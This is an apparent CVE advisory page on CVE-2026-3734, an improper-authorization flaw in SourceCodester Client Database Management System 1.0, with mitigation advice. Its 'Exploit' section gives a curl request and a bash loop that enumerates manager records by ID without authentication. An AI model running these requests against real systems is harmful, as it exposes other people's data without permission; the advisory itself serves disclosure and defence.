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The vulnerability, identified as CVE-2026-3734, resides in the SourceCodester Client Database Management System version 1.0. It specifically affects the endpoint found at the file /fetch_manager_details.php. The core issue stems from a failure to properly enforce authorization checks when this script is accessed. By manipulating the `manager_id` argument passed to this file, an attacker can exploit this flaw to bypass access controls. This is classified as an improper authorization weakness (CWE-285). The attack vector is network-based, meaning it can be triggered remotely without any prior authentication or user interaction. Publicly available exploit code has been released, increasing the risk of active exploitation. The vulnerability allows an attacker to view or potentially modify information they should not have access to, specifically details related to managers within the system. The CVSS base score reflects a medium severity with low impact on confidentiality, integrity, and availability.
dailycve form:
Platform: SourceCodester Client Database
Version: Management System 1.0
Vulnerability: Improper authorization
Severity: MEDIUM
date: 03/09/2026
Prediction: 04/09/2026
What Undercode Say:
Analytics:
The vulnerability is an IDOR (Insecure Direct Object Reference) or missing function-level access control issue. The file `/fetch_manager_details.php` likely fails to verify if the requesting user has the right to view details for the specified manager_id. This allows an unauthenticated attacker to enumerate manager details by cycling through numeric IDs in a GET request .
Exploit:
The following `curl` command demonstrates how to exploit the vulnerability by requesting details for a specific manager ID (e.g., ID 5) without authentication.
curl -X GET "http://example.com/client_dbms/fetch_manager_details.php?manager_id=5"
A simple bash loop can be used to brute-force and enumerate all manager entries.
for id in {1..100}; do curl -s -o "manager_$id.html" -w "%{http_code}" "http://example.com/client_dbms/fetch_manager_details.php?manager_id=$id"; done
Protection from this CVE:
- Implement Access Control Checks: Modify `/fetch_manager_details.php` to verify the user’s session and permissions before returning any data .
- Use Indirect References: Replace direct `manager_id` parameters with indirect, user-specific references or tokens.
- Input Validation: Treat the `manager_id` as untrusted. Validate that it is a valid integer and that the current user is authorized to access the corresponding record.
Impact:
Successful exploitation leads to unauthorized disclosure of sensitive information from the database, potentially exposing manager login credentials, personal details, or internal system data. This breach of confidentiality can serve as a stepping stone for further attacks on the system .
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Sources:
Reported By: nvd.nist.gov
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